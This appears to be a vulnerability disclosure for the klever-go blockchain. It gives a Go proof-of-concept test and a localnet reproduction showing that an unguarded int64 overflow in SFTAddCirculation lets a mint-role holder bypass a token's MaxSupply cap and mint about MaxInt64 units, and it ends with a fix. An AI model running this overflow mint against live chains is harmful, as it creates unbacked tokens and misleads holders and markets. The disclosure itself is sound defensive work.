package systemAccount
import (
"math"
"testing"
"github.com/klever-io/klever-go/common"
commonMock "github.com/klever-io/klever-go/common/mock"
"github.com/klever-io/klever-go/data/state"
"github.com/klever-io/klever-go/kapps"
"github.com/klever-io/klever-go/tools/marshal"
"github.com/stretchr/testify/require"
)
func newExploitSystemAccountKApp(t *testing.T) (*systemAccountKApp, map[string][]byte) {
t.Helper()
marshalizer := &marshal.ProtoMarshalizer{}
store := make(map[string][]byte)
tracker := &commonMock.DataTrieTrackerStub{
RetrieveValueCalled: func(key []byte) ([]byte, error) {
return store[string(key)], nil
},
SaveKeyValueCalled: func(key []byte, value []byte) error {
store[string(key)] = value
return nil
},
}
kappAccount := &commonMock.KAppAccountHandlerStub{
DataTrieTrackerCalled: func() state.DataTrieTracker {
return tracker
},
}
s := &systemAccountKApp{marshalizer: marshalizer}
require.NoError(t, s.SetAccountsCacher(&commonMock.AccountsCacherStub{
LoadKAppCalled: func(address []byte) (state.KAppAccountHandler, error) {
return kappAccount, nil
},
}))
return s, store
}
func readMeta(t *testing.T, s *systemAccountKApp, asset, nonce []byte) *kapps.MetaV2 {
t.Helper()
meta, err := s.SFTGetMeta(asset, nonce)
require.NoError(t, err)
require.NotNil(t, meta)
return meta
}
// TestExploit_SFTCirculationOverflowBypassesCap proves that SFTAddCirculation
// (core/kapp/systemAccount/systemAcount.go:132) performs an unguarded
// `meta.Circulation += amount`. With an amount near MaxInt64, Circulation
// overflows int64 and wraps negative, so the signed cap check
// `meta.Circulation > meta.MaxSupply` reads false and the function returns nil:
// the finite per-nonce MaxSupply (1000) is bypassed and supply is minted far
// past the declared cap.
func TestExploit_SFTCirculationOverflowBypassesCap(t *testing.T) {
asset := []byte("SFTASSET")
nonce := []byte{0x01}
const maxSupply = int64(1000)
const startCirculation = int64(5)
// amount is a raw int64 from the contract with no upstream upper bound; the
// largest value it can carry is MaxInt64. With Circulation already at 5,
// 5 + MaxInt64 overflows int64 and wraps negative.
const overflowAmount = int64(math.MaxInt64) // 9223372036854775807
// --- setup: a nonce with a small FINITE MaxSupply and small Circulation ---
s, _ := newExploitSystemAccountKApp(t)
require.NoError(t, s.SFTCreateMeta(asset, nonce, maxSupply, []byte("hash")))
// seed an initial circulation of 5 (well within the cap)
require.NoError(t, s.SFTAddCirculation(asset, nonce, startCirculation))
before := readMeta(t, s, asset, nonce)
require.Equal(t, maxSupply, before.MaxSupply)
require.Equal(t, startCirculation, before.Circulation)
t.Logf("BEFORE exploit: MaxSupply=%d Circulation=%d", before.MaxSupply, before.Circulation)
// --- contrast: a normal over-cap amount IS correctly rejected ---
// 5 + 2000 = 2005 > 1000, no overflow -> ErrMaxSupplyExceeded.
contrastErr := s.SFTAddCirculation(asset, nonce, 2000)
require.ErrorIs(t, contrastErr, common.ErrMaxSupplyExceeded,
"a non-overflowing over-cap mint must be rejected")
// the rejected call must NOT have persisted (Circulation unchanged at 5)
afterContrast := readMeta(t, s, asset, nonce)
require.Equal(t, startCirculation, afterContrast.Circulation,
"rejected over-cap mint must not persist new circulation")
t.Logf("CONTRAST mint amount=2000 (5+2000=2005 > cap 1000) -> err=%v, Circulation stays %d",
contrastErr, afterContrast.Circulation)
// --- the exploit: amount near MaxInt64 overflows Circulation negative ---
exploitErr := s.SFTAddCirculation(asset, nonce, overflowAmount)
after := readMeta(t, s, asset, nonce)
t.Logf("EXPLOIT mint amount=%d (~MaxInt64), MaxSupply=%d", overflowAmount, after.MaxSupply)
t.Logf("AFTER exploit: Circulation=%d err=%v", after.Circulation, exploitErr)
// (1) the cap was BYPASSED: SFTAddCirculation returned nil, no ErrMaxSupplyExceeded
require.NoError(t, exploitErr,
"BUG: overflowing mint should have been capped but returned nil (cap bypassed)")
// (2) Circulation wrapped NEGATIVE: minted far past the declared cap of 1000
require.Negative(t, after.Circulation,
"BUG: Circulation must have overflowed to a negative value")
// sanity: the wrap is exactly the int64 two's-complement of 5 + overflowAmount.
// Computed via non-constant vars so the deliberate overflow happens at runtime
// (a constant expression would be rejected by the compiler).
circ := startCirculation
amt := overflowAmount
expectedWrap := circ + amt // intentional int64 overflow at runtime
require.Equal(t, expectedWrap, after.Circulation)
t.Logf("CONFIRMED: nonce capped at %d now reports Circulation=%d (negative); "+
"a real mint would have credited ~%d tokens with no matching debit.",
maxSupply, after.Circulation, overflowAmount)
}
Summary
On the SFT add-quantity path the only supply bound is
SFTAddCirculation, which doesmeta.Circulation += amountwith no overflow guard, then checksif meta.Circulation > meta.MaxSupply && meta.MaxSupply != 0. Ifamountoverflowsint64and wrapsnegative,
negative > MaxSupplyis false, the cap check passes, the function returnsnil, and the balancecredit stands. A nonce created with a finite
MaxSupply(e.g. 1000) can thus be minted to ~MaxInt64tokens inone transaction. The fungible mint path is not vulnerable — it has a post-increment
MintedValue <= 0guardthat the SFT path lacks.
Affected code
core/kapp/systemAccount/systemAcount.go:132-138(SFTAddCirculation, the unguarded+=).core/kapp/kda/mint.go:247-283(processSemiFungibleAddQuantity); contrast guardmint.go:289.Impact
A mint-role holder mints ~9.2e18 units of a nonce whose declared
MaxSupplyis small, with no authorized debit,and corrupts the on-chain
Circulationcounter to a negative value (misleading any market/indexer that reads it).Reachability
Mint-role holder (asset owner or an address granted the role). The mint
Amountis a rawint64from thecontract with no upstream upper bound.
Proof of concept
Unit test
TestExploit_SFTCirculationOverflowBypassesCapcreates a nonce capped atMaxSupply = 1000, seedsCirculation = 5, then callsSFTAddCirculation(MaxInt64). The call returnsnil(cap bypassed) andCirculationwraps to
-9223372036854775804; a normal over-cap amount (2000) is correctly rejected withErrMaxSupplyExceededand does not persist — isolating the unguarded+=overflow as the bypass.Full Go PoC (
systemAccountpackage, passes = bug confirmed)On-chain reproduction (live single-node localnet)
SFT
F05-2SDFwas created with nonce 1 capped atMaxSupply = 1000(the setup mint ofamount = 1succeedsnormally). An
AssetTrigger Mintofamount = 9223372036854775807(MaxInt64) forF05-2SDF/1, sent to a freshreceiver, returned
resultCode Okwith aTransferreceipt mintingMaxInt64from the protocol mint address —no
MaxSupplyExceeded, despite the declared cap of 1000. (Sending the same amount to an account that already heldnonce-1 units instead trips the balance overflow guard with
RC 37, confirming the unguarded counter isspecifically
SFTAddCirculation, reached only when the receiver's balance add does not itself overflow.)Setup mint — nonce 1 minted normally with
amount=1(hash21e8059e…b55aad1a){ "hash": "21e8059e50ffb5534a02f0f78e12db4632740d8d82da144d1f3732b4b55aad1a", "blockNum": 463, "status": "success", "resultCode": "Ok", "chainID": "420420", "receipts": [ { "assetId": "F05-2SDF/1", "assetType": "SemiFungible", "from": "klv1qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqpgm89z", "to": "klv1ddnnxjrt4jhus4ddtzmp6ccpcu3us78ndrn4qet0x0vegpg4995qv4nctq", "type": 0, "typeString": "Transfer", "value": 1 } ], "contract": [ { "type": 11, "typeString": "AssetTriggerContractType", "parameter": { "triggerType": "Mint", "assetId": "F05-2SDF", "toAddress": "klv1ddnnxjrt4jhus4ddtzmp6ccpcu3us78ndrn4qet0x0vegpg4995qv4nctq", "amount": 1 } } ] }Exploit —
MaxInt64add-quantity to a fresh receiver, resultOk, cap 1000 bypassed (hash8aff40fa…2e1c981e){ "hash": "8aff40fa270905516cad82083e7eae6264e63a6874f8c13d8348c3632e1c981e", "blockNum": 484, "status": "success", "resultCode": "Ok", "chainID": "420420", "receipts": [ { "assetId": "F05-2SDF/1", "assetType": "SemiFungible", "from": "klv1qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqpgm89z", "to": "klv1qeh4py4p5zzy94l2hnygpfklug82gpzw08u680ycwp00njxyhgdqcv2xjm", "type": 0, "typeString": "Transfer", "value": 9223372036854775807 } ], "contract": [ { "type": 11, "typeString": "AssetTriggerContractType", "parameter": { "triggerType": "Mint", "assetId": "F05-2SDF/1", "toAddress": "klv1qeh4py4p5zzy94l2hnygpfklug82gpzw08u680ycwp00njxyhgdqcv2xjm", "amount": 9223372036854775807 } } ] }Remediation
SFTAddCirculation, add a post-increment overflow guard before the cap check (e.g.if meta.Circulation < 0 { return ErrSupplyNotValid }, matching the fungibleMintedValue <= 0pattern), orcheck
amountagainstMaxSupply - Circulationwith overflow-safe arithmetic.References